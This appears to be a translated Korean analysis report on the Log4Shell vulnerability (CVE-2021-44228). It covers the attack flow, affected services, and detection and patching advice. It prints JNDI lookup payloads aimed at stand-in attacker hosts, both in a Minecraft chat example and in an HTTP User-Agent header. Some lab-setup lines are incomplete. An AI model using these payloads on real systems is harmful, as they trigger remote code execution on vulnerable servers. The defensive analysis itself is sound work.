이글루코퍼레이션 원치현 Log4shell 분석보고서 (Это название отчета, оставляем как есть, так как это названия корейской компании и автора)

Log4shell

CVE-2021-44228 Log4j — это бесплатная библиотека с открытым исходным кодом от Apache Software Foundation, основанная на Java. Она используется для ведения журналов во всех Java-приложениях. JDNI (Java Naming and Directory Interface) предоставляет данные и объекты, а JNDI Lookup в LDAP (порт 1389) позволяет обращаться к ресурсам, найденным через JNDI.

Скачивание Docker-образа для запуска уязвимого сервера:

sudo git clone 
sudo docker build . -t vulnerable-app

Создание образа с именем vulnerable-app в текущей директории с помощью Docker build.

github.com/welk

Остановка неиспользуемого уязвимого сервера:

docker ps -a

Просмотр всех запущенных Docker-образов. Проверка идентификатора контейнера.

Log4Shell (CVE-2021-44228) — аналитический отчет

1. Обзор

Log4Shell (CVE-2021-44228) — это уязвимость удаленного выполнения кода (RCE), обнаруженная в библиотеке Apache Log4j.
Злоумышленник может использовать вредоносную полезную нагрузку для выполнения произвольного кода, что может привести к масштабным последствиям.

Данный отчет анализирует принцип работы Log4Shell, его влияние, примеры эксплуатации, методы обнаружения и реагирования.

2. Обзор уязвимости

3. Принцип работы уязвимости

Log4Shell использует уязвимость функции JNDI Lookup (Java Naming and Directory Interface) для того, чтобы злоумышленник мог выполнить вредоносный код на удаленном сервере.

3.1 Поток атаки

1. Злоумышленник передает приложению сообщение журнала, содержащее вредоносную строку.
2. В процессе записи журнала Log4j выполняет JNDI Lookup.
3. JNDI запрашивает данные с удаленного сервера по протоколам LDAP, RMI и другим.
4. С сервера злоумышленника загружается и выполняется вредоносный Java-класс.
5. Происходит удаленное выполнение кода (RCE).

3.2 Пример кода атаки

Злоумышленник может использовать уязвимость, просто оставив в журнале следующую строку:

${jndi:ldap://attacker.com:1389/exploit}

4. Область воздействия

Уязвимость Log4Shell затронула множество корпоративных и общедоступных сервисов, использующих Log4j.

4.1 Основные затронутые сервисы и системы

• Облачные сервисы: AWS, Google Cloud, Microsoft Azure
• Корпоративные приложения: Apache Struts, ElasticSearch, VMware vCenter
• Игровые серверы: Minecraft, Steam
• Различные веб-приложения и серверы: Spring Boot, Tomcat и др.

5. Примеры эксплуатации и атак

5.1 Атака на сервер Minecraft

Злоумышленник мог ввести следующую строку в чат Minecraft, чтобы захватить сервер:

${jndi:ldap://attacker.com:1389/exploit}

Когда сервер записывает это в журнал, через JNDI Lookup выполняется вредоносный код с сервера злоумышленника.

5.2 Атака на веб-приложение

В HTTP-запросы вставляются вредоносные полезные нагрузки в поля, которые записываются в журнал: User-Agent, Referer, X-Forwarded-For и другие. Пример:

GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}

6. Методы обнаружения и реагирования

6.1 Методы обнаружения уязвимости

✅ Использование сканеров безопасности

• log4j-scan (https://github.com/fullhunt/log4j-scan)
• log4shell-detector (https://github.com/Neo23x0/log4shell-detector)

✅ Проверка файлов журнала

• При обнаружении в журналах шаблонов, подобных ${jndi:ldap://...}, необходимо немедленно реагировать.

✅ Мониторинг сети

• Проверять наличие подозрительных запросов LDAP, RMI.

6.2 Методы реагирования

✅ Немедленные меры

• Обновить Log4j до версии 2.15.0 или выше.
• Установить переменную окружения при запуске Java:

-Dlog4j2.formatMsgNoLookups=true

• Блокировать шаблоны jndi:ldap:// в брандмауэрах и IDS/IPS.

✅ Долгосрочные меры безопасности

• Ограничить использование JNDI и усилить политику безопасности.
• Внедрить WAF (Web Application Firewall).
• Регулярно проводить проверки безопасности и сканирование уязвимостей.

7. Патчи и методы устранения

✅ Рекомендуется обновить до последней версии (2.17.1 и выше)!

8. Заключение

Log4Shell (CVE-2021-44228) признан одной из самых серьезных уязвимостей безопасности за последние годы. ✅ Необходимо оперативно исправлять уязвимые системы и проводить непрерывный мониторинг безопасности. ✅ Все приложения, использующие Log4j, должны пройти проверку безопасности.

9. Справочные материалы

• Официальное рекомендательное сообщение Apache Log4j
• Национальная база данных уязвимостей NIST (CVE-2021-44228)
• log4j-scan (GitHub)